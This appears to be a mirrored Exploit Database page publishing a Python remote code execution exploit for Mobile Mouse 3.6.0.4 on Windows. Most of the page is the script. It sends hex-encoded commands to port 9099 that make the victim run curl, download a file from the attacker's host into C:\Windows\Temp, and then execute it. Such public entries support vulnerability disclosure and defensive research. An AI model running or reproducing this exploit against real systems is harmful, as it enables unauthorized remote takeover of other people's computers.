Mobile Mouse 3.6.0.4 – Remote Code Execution (RCE)

• Exploit Database
• 114 阅读

• 作者： Chokri Hammedi
  日期： 2022-09-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/51010/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67

  # Exploit Title: Mobile Mouse 3.6.0.4 - Remote Code Execution (RCE) # Date: Aug 09, 2022 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://mobilemouse.com/ # Software Link: https://www.mobilemouse.com/downloads/setup.exe # Version: 3.6.0.4 # Tested on: Windows 10 Enterprise LTSC Build 17763   #!/usr/bin/env python3   import socket from time import sleep import argparse   help = " Mobile Mouse 3.6.0.4 Remote Code Execution " parser = argparse.ArgumentParser(description=help) parser.add_argument("--target", help="Target IP", required=True) parser.add_argument("--file", help="File name to Upload") parser.add_argument("--lhost", help="Your local IP", default="127.0.0.1")   args = parser.parse_args()   host = args.target command_shell = args.file lhost = args.lhost port = 9099 # Default Port   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port))   CONN = bytearray.fromhex("434F4E4E4543541E1E63686F6B726968616D6D6564691E6950686F6E651E321E321E04") s.send(CONN) run = s.recv(54)   RUN = bytearray.fromhex("4b45591e3131341e721e4f505404") s.send(RUN) run = s.recv(54)   sleep(0.5)   download_string= f"curl http://{lhost}:8080/{command_shell} -o c:\Windows\Temp\{command_shell}".encode('utf-8') hex_shell = download_string.hex() SHELL = bytearray.fromhex("4B45591E3130301E" + hex_shell + "1E04" + "4b45591e2d311e454e5445521e04") s.send(SHELL) shell = s.recv(96)   print ("Executing The Command Shell...")   sleep(1.2) RUN2 = bytearray.fromhex("4b45591e3131341e721e4f505404") s.send(RUN2) run2 = s.recv(54)   shell_string= f"c:\Windows\Temp\{command_shell}".encode('utf-8') hex_run = shell_string.hex() RUN3 = bytearray.fromhex("4B45591E3130301E" + hex_run + "1E04" + "4b45591e2d311e454e5445521e04") s.send(RUN3) run3 = s.recv(96)   print (" Take The Rose")   sleep(10) s.close()